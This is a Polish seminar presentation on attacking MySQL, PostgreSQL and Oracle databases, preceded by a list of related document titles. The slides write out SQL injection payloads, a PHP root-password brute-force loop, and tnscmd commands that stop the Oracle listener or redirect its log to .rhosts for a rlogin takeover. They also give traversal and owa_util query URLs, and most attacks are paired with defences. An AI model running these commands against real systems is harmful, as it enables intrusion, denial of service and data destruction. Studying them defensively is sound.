Bazy danych z punktu widzenia intruza. (MySQL, PostgreSQL, Oracle)

Podobne dokumenty
Produkty Oracle dominują na rynku

PHP może zostać rozszerzony o mechanizmy dostępu do różnych baz danych:

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Praca Magisterska "System zdalnego składania ofert kupna i sprzedaży za pośrednictwem Internetu" AUTOR PROMOTOR

Wybrane metody ataków na systemy Oracle

Aplikacje WWW - laboratorium

6. Bezpieczeństwo przy współpracy z bazami danych

Instalacja MySQL.

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Aplikacje WWW - laboratorium

WINDOWS Instalacja serwera WWW na systemie Windows XP, 7, 8.

Języki programowania wysokiego poziomu. PHP cz.4. Bazy danych

Projektowani Systemów Inf.

Instrukcja instalacji Control Expert 3.0

Usługi sieciowe systemu Linux

PHP: bazy danych, SQL, AJAX i JSON

Metody ataków sieciowych

Autor: Joanna Karwowska

Wykład 5: PHP: praca z bazą danych MySQL

dziennik Instrukcja obsługi

Języki skryptowe - PHP. PHP i bazy danych. Paweł Kasprowski. pawel@kasprowski.pl. vl07

Najbardziej popularne metody włamań

INSTALACJA SERWERA LOKALNEGO TYPU WAMP NA PRZYKŁADZIE PAKIETU KRASNAL SERV 2.7

Wdrożenie modułu płatności eservice. dla systemu Magento

PLAN WYNIKOWY PROGRAMOWANIE APLIKACJI INTERNETOWYCH. KL IV TI 6 godziny tygodniowo (6x15 tygodni =90 godzin ),

Internetowe bazy danych

Dostęp do baz danych z serwisu www - PHP. Wydział Fizyki i Informatyki Stosowanej Joanna Paszkowska, 4 rok FK

Aplikacje WWW - laboratorium

Konfiguracja vsftpd ( Very Secure FTP Server )

Data modyfikacji:

Bezpieczeństwo systemów informatycznych

Projektowanie systemów baz danych

Ćwiczenia laboratoryjne nr 11 Bazy danych i SQL.

ZPKSoft WDoradca. 1. Wstęp 2. Architektura 3. Instalacja 4. Konfiguracja 5. Jak to działa 6. Licencja

Dokumentacja systemu NTP rekrut. Autor: Sławomir Miller

Problemy techniczne SQL Server

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

System. Instalacja bazy danych MySQL. Autor : Piotr Zielonka tel Piotrków Tryb., sierpień 2018r.

Currenda EPO Instrukcja Konfiguracji. Wersja dokumentu: 1.3

Tomasz Greszata - Koszalin

Plan. Wprowadzenie. Co to jest APEX? Wprowadzenie. Administracja obszarem roboczym

Rys. 1. Widok uruchomienia polecenia apt-get install build-essential. Rys. 2. Widok uruchomienia polecenia apt-get install apache2

Audytowane obszary IT

Informatyka I. Standard JDBC Programowanie aplikacji bazodanowych w języku Java

Niezbędne narzędzia. Przed rozpoczęciem pracy z PHP należy zainstalować odpowiednie narzędzia: środowisko PHP serwer WWW serwer baz danych MySQL

Win Admin Monitor Instrukcja Obsługi

Wykaz zmian w programie SysLoger

SIP Studia Podyplomowe Ćwiczenie laboratoryjne Instrukcja

Problemy techniczne SQL Server

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

WYDAWANIE CZYTNIKAMI BY CTI Instrukcja

Pracownia internetowa w szkole ZASTOSOWANIA

CREATE USER

T-SQL dla każdego / Alison Balter. Gliwice, cop Spis treści. O autorce 11. Dedykacja 12. Podziękowania 12. Wstęp 15

Bazy danych i strony WWW

SSI Katalog. Program do katalogowania zawartości dysków. Dariusz Kalinowski

Instrukcje instalacji pakietu IBM SPSS Data Access Pack dla systemu Windows

Forte Zarządzanie Produkcją Instalacja i konfiguracja. Wersja B

Wybrane działy Informatyki Stosowanej

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

I. Informacje ogólne. Jednym z takich systemów jest Mambo.

Informatyka I. Programowanie aplikacji bazodanowych w języku Java. Standard JDBC.

INFORMATYKA MÓJ SPOSÓB NA POZNANIE I OPISANIE ŚWIATA PROGRAM NAUCZANIA INFORMATYKI Z ELEMENTAMI PRZEDMIOTÓW MATEMATYCZNO-PRZYRODNICZYCH

e-audytor v.3.x INSTRUKCJA INSTALACJI I URUCHOMIENIA SYSTEMU

Skanowanie podsieci oraz wykrywanie terminali ABA-X3

System Kancelaris. Zdalny dostęp do danych

Instrukcja instalacji środowiska testowego na TestingCup wersja 1.0

Laboratorium - Przechwytywanie i badanie datagramów DNS w programie Wireshark

Bazy Danych. Ćwiczenie 1: Przygotowanie środowiska pracy dla bazy MySQL z wykorzystaniem XAMPP Portable Lite oraz MySQL-Front

Instalacja (GM) AMXBans #1.5.1/ #1.6.1 na serwerze gry/stronie WWW. Wymagania

Sieciowa instalacja Sekafi 3 SQL

Instrukcja obsługi/instalacji platformy Krok w Przedsiębiorczość Administrator platformy

Podstawy technologii WWW

Wykład 6: PHP: praca z bazą danych MySQL, cz.2

Cechy systemu X Window: otwartość niezależność od producentów i od sprzętu, dostępny kod źródłowy; architektura klient-serwer;

Migracja bazy danych Microsoft Access *.mdb do Microsoft SQL 2008 Server R2 SP1 dla oprogramowania Płatnik

Zadanie1: Odszukaj w serwisie internetowym Wikipedii informacje na temat usługi DHCP.

OPROGRAMOWANIE KEMAS zbudowane jest na platformie KEMAS NET

Wykaz zmian w programie Win Admin Replikator

Rozdział ten zawiera informacje na temat zarządzania Modułem Modbus TCP oraz jego konfiguracji.

Instrukcja obsługi serwera FTP v

Instrukcja do panelu administracyjnego. do zarządzania kontem FTP WebAs.

Instalacja SQL Server Express. Logowanie na stronie Microsoftu

NIEZAWODNE ROZWIĄZANIA SYSTEMÓW AUTOMATYKI

Tomasz Greszata - Koszalin

I. INSTALACJA BAZY DANYCH ORACLE10g EXPRESS EDITION

Instytut Teleinformatyki

4. Projekt Bazy Danych

Wszystkie parametry pracy serwera konfigurujemy w poszczególnych zakładkach aplikacji, podzielonych wg zakresu funkcjonalnego.

Zakres tematyczny dotyczący kursu PHP i MySQL - Podstawy pracy z dynamicznymi stronami internetowymi

Instrukcja instalacji połączenia sterownika PL11-MUT24 ze stroną internetową.

Spis treści. 1 Moduł Modbus TCP 4

Dokumentacja SMS przez FTP

Projektowanie bezpieczeństwa sieci i serwerów

Produkcja by CTI. Proces instalacji, ważne informacje oraz konfiguracja

System kontroli dostępu ACCO NET Instrukcja instalacji

Dokumentacja fillup - MS SQL

asix4 Podręcznik użytkownika BAZA - drajwer dostępu do baz danych Podręcznik użytkownika

strukturalny język zapytań używany do tworzenia i modyfikowania baz danych oraz do umieszczania i pobierania danych z baz danych

Instrukcja instalacji

Transkrypt:

Bazy danych z punktu widzenia intruza. Bezpieczeń stwo systemów komputerowych. Temat seminarium: Bazy danych z punktu widzenia intruza. Autor: Mariusz Kuźma Bazy danych z punktu widzenia intruza. (MySQL, PostgreSQL, Oracle) 1

Bazy danych z punktu widzenia intruza Przebieg prezentacji Przebieg prezentacji: MySQL Wstę p MySQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection - Atak brutalny PostgreSQL Wstę p PostgreSQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection ORACLE Wstę p ORACLE z punktu widzenia intruza - Uzyskanie informacji - Prosty atak DoS - Nadpisanie dowolnego pliku - Przykładowy scenariusz ataku przejęcia kontroli nad bazą - Odczyt informacji ostatniego połączenia z listenerem - Ujawnienie tre ści skryptów JSP - Atak HTML injection - Moduł mod_plsql - Wykorzystanie standardowych pakietów PL/SQL Podsumowanie Literatura

Bazy danych z punktu widzenia intruza MySQL MySQL

Bazy danych z punktu widzenia intruza MySQL MySQL jest bardzo szybkim, solidnym systemem zarządzania relacyjnymi bazami danych (RDMS relation database management system). Baza danych umożliwia wydajne przechowywanie, przeszukiwanie, sortowanie i odczytywanie danych.[1] Serwer MySQL kontroluje dostęp do bazy w celu zapewnienia równoczesnego dostępu wielu użytkownikom, zagwarantowania szybkiego dostępu oraz dostępu jedynie dla uwierzytelnionych użytkowników. Reasumuj ąc serwer MySQL jest serwerem wielodostępowym i wielową tkowym.[1] MySQL jest obecnie dostępny w licencji Open Source, ale w konkretnych przypadkach można uzyskać licencje komercyjne. 4

Bazy danych z punktu widzenia intruza MySQL MySQL z punktu widzenia intruza MySQL z punktu widzenia intruza Przepełnienie bufora (buffer overflow) Atak HTML injection Atak brutalny 5

Bazy danych z punktu widzenia intruza MySQL Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Atak przepełnienia buforu wykorzystuje brak lub niewła ściwe sprawdzanie długości łańcuchów tekstowych w programach uprzywilejowanych.w ten sposób moż na zdobywać uprawnienia zarówno w systemach Unixowych jak i Microsoftu. Błąd przepełnienia bufora w MySQL, który mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach. Luka pozwala atakującemu na wykonanie arbitralnego kodu z przywilejami procesu mysqld. 6

Bazy danych z punktu widzenia intruza MySQL Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Działanie tego typu programów polega na wysłaniu na tyle długiego łańcucha, że przekracza on swoj ą długości ą zarezerwowane na stosie miejsce na zmienne lokalne podprogramu. Przekraczaj ąc dozwolon ą długość nadpisuje si ę inne obszary stosu m.in. adres powrotu podprogramu. W ten sposób można w nadpisanym obszarze pamięci umieścić dowolny program lub wywołanie powłoki a w miejscu adresu powrotu umieścić skok do przesłanego programu lub wywołania powłoki. Obrona polega na pisaniu poprawnych programów sprawdzaj ących długość pobieranych danych, zmodyfikowaniu kompilatora itp. 7

Bazy danych z punktu widzenia intruza MySQL Atak HTML injection Atak HTML injection Ataki HTML injection polegaj ą na przesłaniu stronie, która oczekuje od nas danych w postaci czystego tekstu, ciągu zawieraj ącego specjalnie spreparowanego kodu HTML.[2] Taki atak mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach (bazy MySQL). Obrona przed atakiem HTML injection polega na dokładnym sprawdzaniu zawarto ści każdej zmiennej przekazywanej do bazy danych. 8

Bazy danych z punktu widzenia intruza MySQL Atak HTML injection Przykład ataku HTML injection na baz ę MySQL Wyobraźmy sobie aplikacj ę która wyszukuje w tabeli wiersz o wskazanej przez użytkownika warto ści jednego z pól. Zapytanie może wyglądać w przybliżeniu tak: SELECT * FROM nazwa_tabeli WHERE pole=$jakies_dane W zapytaniu tym zostaje wstawiona warto ść przekazana przez użytkownika i przekazana do bazy. A teraz atakuj ący może przekazać następuj ący ciąg: $jakies_dane= 4;delete from nazwa_tabeli SELECT * FROM nazwa_tabeli WHERE pole= 4;delete from nazwa_tabeli Zapytanie spowoduje wyświetlenie pól o warto ści 4 i dodatkowo usunięcie wszystkich wpisów w tabeli nazwa_tabeli. 9

Bazy danych z punktu widzenia intruza MySQL Atak brutalny Atak brutalny Polega na generowaniu wszystkich możliwych kombinacji w zależności od długości hasła (przy znanym loginie) podczas nawiązywania połączenia z baz ą danych MySQL. Składnia wywołania funkcji mysql_connect w skrypcie PHP przy nawiązaniu połączenia z baz ą danych przez WWW wygląda następuj ąco: mysql_connect(host,login,haslo) 10

Bazy danych z punktu widzenia intruza MySQL Atak brutalny Przykład ataku brutalnego na baz ę mysql. Wyobraźmy sobie skrypt (np. PHP) który generuje wszystkie kombinacje hasła o danej długości i próbuje nawiązać połaczenie jako użytkownik root z baz ą danych mysql, przy znanym adrsie serwera MySQL.... do {... $haslo.=kolejnyznak; $db_lacz=mysql_connect("adres_serwera","root",$haslo); } while(!$db_lacz) echo Hasło roota =. $haslo;... Obrona polega na ustawieniu pola host w tabeli user na localhost. update user set host= localhost where user= root ; 11

Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL

Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL jest najbardziej dojrzał ą, najczęściej używan ą i darmow ą (obiektowo relacyjn ą) baz ą danych RDBMS SQL na świecie (MySQL nie należy do tej klasy). Do tej klasy nale żą między innymi serwery: Oracle8, Sybase11 czy InterBase5.1.[3] PostgreSQL jest rozpowszechniany na podstawie Powszechnej Publicznej Licencji GNU (GNU GPL). Jest dostępny m.in. na platformach: Linux, FreeBSD, Solaris, HP-UX, Irix, Windows 95, 98 i NT. 13

Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL z punktu widzenia intruza PostgreSQL z punktu widzenia intruza Przepełnienie bufora (buffer overflow) Atak HTML injection 14

Bazy danych z punktu widzenia intruza PostgreSQL Przepełnienie buforu (buffer overflow) Przepełnienie buforu (buffer overflow) Atak przepełnienia buforu polega dokładnie na analogi, jak w przypadku MySQL (slajd nr 5). Natomiast obrona jest identyczna jak w przypadku MySQL (slajd nr 6). 15

Bazy danych z punktu widzenia intruza PostgreSQL Atak HTML injection Atak HTML injection Atak HTML injection i obrona polega na analogi, jak w przypadku MySQL (slajd nr 7). 16

Bazy danych z punktu widzenia intruza ORACLE ORACLE

Bazy danych z punktu widzenia intruza ORACLE Oracle Listener jest to komponent odpowiedzialny przede wszystkim za komunikacj ę między klientami a serwerem Oracle (równie ż za komunikacj ę międzyserwerow ą ). Jest to element każdej instalacji Oracle DBMS.[4] Listener jest procesem działającym na serwerze bazodanowym, którego zadaniem jest przyjmowanie zlece ń od klientów. W systemach uniksowych jest to proces o nazwie tnslsnr, a w systemach Windows odpowiedni serwis. Listener nasłuchuje zlece ń na porcie TCP 1521. Do komunikacji między Oracle Client a Listenerem jest wykorzystywany protokół TNS (Transparent Network Substrate). 18

Bazy danych z punktu widzenia intruza ORACLE Największe zagroż enia związane z Oracle Listener nie wymagaj ą od atakującego żadnej wiedzy tajemnej. Nie s ą to klasyczne przepełnienia bufora wejściowego lub inne typowe błędy popełniane przez programistów (aczkolwiek takie te ż w nim można znaleźć). Największe słabości Listenera prawdopodobnie wynikaj ą ze złych założe ń przyjętych podczas projektowania tego oprogramowania. Do atakowania Oracle Listenera można zastosować prosty skrypt perl o nazwie tnscmd. Skrypt ten pozwala na wydawanie komend protokołu TNS. Można go uzyskać pod adresem http://www.jammed.com/~jwa/hacks/security/tnscmd/tns cmd. 19

Bazy danych z punktu widzenia intruza ORACLE ORACLE z punktu widzenia intruza ORACLE z punktu widzenia intruza Uzyskanie informacji Prosty atak DoS Nadpisanie dowolnego pliku Przykładowy scenariusz ataku przejęcia kontroli nad bazą Odczyt informacji ostatniego połączenia z listenerem Ujawnienie treści skryptów JSP Atak HTML injection Moduł mod_plsql Wykorzystanie standardowych pakietów PL/SQL 20

Bazy danych z punktu widzenia intruza ORACLE Uzyskanie infromacji o systemie Uzyskanie informacji o systemie Standardowo Oracle Listener przyjmuje komendy od każdego i nie wymaga ż adnej autoryzacji, dzięki temu można uzyskać bardzo dużo informacji o systemie. Odpowiadaj ą za to komendy version i status protokołu TNS: tnscmd version -h adres_serwera -p 1521 tnscmd status -h adres_serwera -p 1521 Listener odpowiada na te zapytania zdradzając m.in.: dokładn ą wersj ę Oracle, rodzaj systemu operacyjnego, czas od uruchomienia instancji Oracle, ścieżki do plików z logami, opcje listenera (m.in. stan opcji security), rodzaj serwisów Oracle obsługiwanych przez Listenera, argumenty wywołania, kompletne środowisko (wartoś ci wszystkich zmiennych systemowych), w jakim został wywołany listener. 21

Bazy danych z punktu widzenia intruza ORACLE Uzyskanie infromacji o systemie Listing komendy tnscmd status -h 10.1.1.100 -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to 10.1.1.100:1521 connect writing 89 bytes reading....6...@....j... DESCRIPTION= TMP= VSNNUM=135291648 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR for Solaris: Version 8.1.6.3.0 - Production START_DATE=28-OCT-2002 16:22:44 SIDNUM=1 LOGFILE=/opt/oracle/8i/network/log/listener.log PRMFILE=/opt/oracle/8i/network/admin/listener.ora TRACING=off UPTIME=379500951 SNMP=OFF 22

Bazy danych z punktu widzenia intruza ORACLE Prosty atak DoS (denial of service) Prosty atak DoS (denial of service) W standardowej konfiguracji Oracle Listener opcja SECURITY ustawiona jest na OFF i mówi o tym, że dla listenera można wydawać komendy bez jakiegokolwiek uwierzytelnienia. Polecenie tnscmd stop -h adres_serwera -p 1521 spowoduje posłuszne zakończenie działania listenera. Zblokowanie dostępu do listenera za pomoc ą komendy SERVICE_CURLOAD, polega na konsumcji 99% czasu precesora. Polecenie tnscmd -h adres_serwera --rawcmd "(CONNECT_DATA= (COMMAND=SERVICE_CURLOAD))" 23

Bazy danych z punktu widzenia intruza ORACLE Nadpisanie dowolnego pliku Nadpisanie dowolnego pliku Proces listenera (tnslsnr) zapisuje wszystkie zdarzenia w swoim logu. Dokładne miejsce i nazw ę pliku logu można zdalnie odczytać przez komend ę protokołu TNS - status (opcja LOGFILE)... LOGFILE=/opt/oracle/8i/network/log/listener.log... Za pomoc ą odpowiedniego zlecenia TNS położenie pliku logowania można zmieniać. Ponadto listener ślepo przyjmuje każd ą warto ść, niezależnie od tego, czy wyspecyfikowany plik istnieje (w takim wypadku zostanie nadpisany), czy te ż nie (w takim wypadku zostanie stworzony). Listener ma możliwo ść nadpisania i/lub utworzenia dowolnego pliku do którego ma uprawnienia proces Oracle Listener. 24

Bazy danych z punktu widzenia intruza ORACLE Nadpisanie dowolnego pliku Przykład nadpisania pliku (przekierowania logów do pliku /home/oracle/.rhosts) wojdwo@behemot$./tnscmd -h oracleserver --rawcmd " (DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) COMMAND=log_file)(ARGUMENTS=4) (SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))" sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file) (ARGUMENTS=4)(SERVICE=LISTENER) (VERSION=1)(VALUE=/home/oracle/.rhosts))) to oracleserver:1521 writing 205 bytes reading.m..."..a(description=(tmp=)(vsnnum=135294976)(err=0)(command=log_file) (LOGFILENAME=/home/oracle/.rhosts)) 25

Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Przykładowy scenariusz ataku przejęcia kontroli nad bazą Polega na dokonaniu odpowiedniego wpisu do pliku. rhosts i wykorzystaniu serwisu rlogin. Krok 1: Zmiana pliku logu listenera na plik.rhosts (slajd nr 24) /home/oracle/.rhosts 26

Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 2: Wpisanie adresu IP i loginu intruza do pliku. rhosts (tak aby IP i login był w jednej lini) wojdwo@behemot$./tnscmd -h oracleserwer \ --rawcmd "(CONNECT_DATA=(( 10.1.1.223 wojdwo " sending (CONNECT_DATA=(( 10.1.1.223 wojdwo to oracleserwer:1521 writing 93 bytes reading.$..."..(description=(err=1153)(vsnnum=135294976) (ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4) (ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(CODE=303) (EMFI=1)))) 27

Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 3: Za pomoc ą rlogin intruz loguje si ę bez żadnego użytkownika uwierzytelnienia jako użytkownik z prawami oracle. wojdwo@behemot$ rlogin -l oracle oracleserwer Obrona przed powyższym atakiem polega na wgraniu łaty wypuszczonej przez ORACLE (#1361722), która wprowadza dodatkowy parametr ADMIN_RESTRICTIONS do pliku konfiguruj ącego listenera (listener.ora). Wyłączenie parametru ADMIN_RESTRICTIONS uniemożliwia zdaln ą rekonfiguracj ę listenera. 28

Bazy danych z punktu widzenia intruza ORACLE Odczyt informacji ostatniego połączenia z listenerem Odczyt informacji ostatniego połączenia z listenerem Błąd polega na ujawnieniu informacji przekazywanej w poprzednim połączeniu innego użytkownika z listenerem. W praktyce ustawiamy w odpowiednim parametrze warto ść większ ą ni ż w rzeczywisto ści długość wydawanej komendy TNS (--cmdsize 30), co spowoduje możliwo ś ć odczytania części komendy wydanej do listenera przez poprzedniego uż ytkownika (COMMAND=status ). wojdwo@behemot$./tnscmd --rawcmd " " -h oracleserwer --cmdsize 30 sending to oracleserwer:1521 Faking command length to 30 bytes writing 59 bytes reading..."...(description=(err=1153)(vsnnum=135294976) (ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4) (ARGS='CONNECT_DATA=(COMMAND=status)')) (ERROR=(CODE=303)(EMFI=1)))) 29

Bazy danych z punktu widzenia intruza ORACLE Ujawnienie treści skryptów JSP Ujawnienie treści skryptów JSP Podczas generowania strony WWW ze skryptu JSP tworzone s ą pliki tymczasowe w ścież ce /_pages serwera WWW. Jeden z plików z rozszerzeniem java zawiera kod źródłowy wykonywanego skryptu. W standardowej konfiguracji Apache rozpowszechnianego z Oracle katalog /_pages jest udostępniany przez serwer, w związku z tym intruz może odczytać kod źródłowy stron JSP obsługiwanych przez serwer. Obrona polega na zabronieniu w konfiguracji Apache dostępu do ścież ki /_pages. Dodatkowo wszystkie skrypty JSP powinny być przechowywane w postaci prekompilowanej. 30

Bazy danych z punktu widzenia intruza ORACLE Ujawnienie treści skryptów JSP Przykład ujawnienia treś ci skryptów JSP Najpierw należy uruchomić atakowany skrypt JSP, po to by serwer pobrał kod i go skompilował: http://10.1.1.100/demo/sql/bean/connbeandemo.jsp Teraz można odczytać źródło skryptu JSP odwołując si ę do odpowiedniego pliku w ścież ce /_pages: http://10.1.1.100/_pages/_demo/_sql/_bean/_connbeande mo.java 31

Bazy danych z punktu widzenia intruza ORACLE Atak HTML injection Atak HTML injection Przykładem niech będzie skrypt / demo/sql/tag/sample2.jsp. Skrypt ten jest interfejsem do tabeli zawieraj ącej dane o zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla w przeglądarce formularz WWW, w którym użytkownik wpisuje zapytanie. Np. wpisanie sal=800 powoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 Przykładowo, wpisanie ciągu sal=800 union select username,userid from all_users spowoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 union select username,userid from all_users 32

Bazy danych z punktu widzenia intruza ORACLE Moduł mod_plsql Moduł mod_plsql Moduł Apache mod_plsql służy do interpretowania na serwerze WWW kodu PL/SQL, który jest natywnym językiem baz Oracle. W module tym ujawniono wiele klasycznych błę dów: Przepełnienie bufora wejściowego w skrypcie służącym do wyś wietlania pomocy. Wysłanie zlecenia typu: http://10.1.1.100/pls/simpledad/admin_/help/aaaaaaaa... (>1000 znaków) powoduje błąd segmentacji w procesie obsługującym to zlecenie. 33

Bazy danych z punktu widzenia intruza ORACLE Moduł mod_plsql Moduł mod_plsql Zastosowanie techniki double decode. Polega na przesłaniu do serwera zlecenia zawieraj ącego znaki specjalne (np. ukośnik) dwukrotnie zakodowane heksadecymalnie. W rezultacie możliwe jest obejście restrykcji serwera i odczytanie dowolnego pliku bąd ź katalogu w przestrzeni serwera WWW. Przykład odczytania pliku konfiguracyjnego plsql.conf: http://10.1.1.100/pls/simpledad/admin_/help/..% 255Cplsql.conf 34

Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Wykorzystanie standardowych pakietów PL/SQL W starszych wersjach Oracle (poniż ej 9i) wszystkie pakiety PL/SQL s ą udostępnianie przez Internet, za pomoc ą mod_plsql. Składnia wywołania procedury PL/SQL przez serwer WWW wygląda następuj ąco: http://ip.ip.ip.ip/pls/dad/nazwa_pakietu.nazwa_procedur y DAD (Database Access Descriptor) jest to struktura opisująca sposób łączenia si ę do bazy za pomoc ą pakietów PL/SQL. 35

Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Ataki za pomoc ą procedur z pakietu owa_util Sprawdzenie działania pakietu owa_util: http://10.1.1.100/pls/simpledad/owa_util.signature Ujawnienie kodu żródłowego pakietu PL/SQL (np. file_util): http://10.1.1.100/pls/simpledad/owa_util.showsource?cna me=file_util Wykonanie nieautoryzowanych zapyta ń do bazy: http://10.1.1.100/pls/simpledad/owa_util.listprint?p_theq uery=select%20*%20from% 20all_users&p_cname=&p_nsize= 36

Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Ataki za pomoc ą procedur z pakietu owa_util Inne potencjalnie interesuj ące pakiety PL/SQL to np.: htp procedury pozwalaj ące na obsług ę protokołu HTTP, tcp procedury obsługi protokołu TCP, pozwalaj ą m.in. na nawiązanie połączenia zwrotnego (wychodz ącego), file_util procedury dostępu do plików, umożliwiaj ą np. pobranie dowolnego pliku z serwera. Obrona polega na ustawieniu parametru exclusion_list w pliku konfiguracyjnym wdbsrv.app. W starszych wersjach (poniż ej 9i) nie jest on włączony. 37

Bazy danych z punktu widzenia intruza Podsumowanie Podsumowanie

Bazy danych z punktu widzenia intruza Podsumowanie Podsumowanie: Bazy danych MySQL i PostgreSQL s ą bazami o dużo mniejszej złożoności programowej ni ż baza danych ORACLE. Mimo że bazy danych MySQL i PostgreSQL s ą programami Open Source maj ą mniej błędów ni ż ORACLE, który jest komercyjn ą baz ą danych. Dużo błędów wynika z tego, że użytkownicy zazwyczaj przyjmuj ą domyślne konfiguracje ustawie ń baz danych i serwerów WWW, co nie jest zalecane. 39

Bazy danych z punktu widzenia intruza Literatura Literatura

Bazy danych z punktu widzenia intruza Literatura Literatura [1] J. Smycz, D. Kaczmarek, PHP i MySQL Tworzenie stron WWW, wydawnictwo Helion, 2002 [2] Haking, Nr 1/2004 [3] PCkurier, Nr 8/2000 [4] Haking, Nr 1/2003